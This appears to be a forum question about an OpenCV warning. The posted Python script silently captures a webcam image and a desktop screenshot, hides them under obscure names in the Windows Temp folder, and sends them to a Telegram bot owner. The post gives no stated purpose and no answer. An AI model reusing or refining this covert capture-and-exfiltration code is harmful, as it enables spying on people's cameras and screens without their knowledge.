T
T
Tyscode2021-11-11 19:23:02
OpenCV
Tyscode, 2021-11-11 19:23:02

Why is it giving [warn:0] openCV?

import os
import telebot
import cv2
import pyautogui
import pyscreenshot

TOKEN = 'токен'
owner_id = айди

cap = cv2.VideoCapture(0)

if not cap.isOpened():
    print("Cannot open webcam")

camera_port = 0
ret, frame = cap.read()
frame = cv2.resize(frame, None, fx=0.5, fy=0.5, interpolation=cv2.INTER_AREA)
cv2.imwrite("C:\Windows\Temp\scdddreen.jpg", frame)
print("Successfully saved")

camera = cv2.VideoCapture(camera_port,cv2.CAP_DSHOW)

cv2.destroyAllWindows()

bot = telebot.TeleBot(TOKEN)


im = pyscreenshot.grab()
im.save('C:\Windows\Temp\screenschot22.png')
text = "wrhethfgye" 

def start_bot( TOKEN ):
    try:
        uphoto2 = open("C:\Windows\Temp\screenschot22.png", "rb")
        uphoto = open("C:\Windows\Temp\scdddreen.jpg", "rb")
        bot = telebot.TeleBot( TOKEN )
        bot.send_photo(айди, uphoto, text) 
        bot.send_photo(айди, uphoto2, text)
        uphoto2.close()
        bot.polling()
        bot.stop_polling() 
    except Exception:
        start_bot( TOKEN )


saves webcam screenshot, but after that gives varn:
[ WARN:0] global D:\a\opencv-python\opencv-python\opencv\modules\videoio\src\cap_msmf.cpp (438) `anonymous-namespace': :SourceReaderCB::~SourceReaderCB terminating async callback

how to fix?

Answer the question

In order to leave comments, you need to log in

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question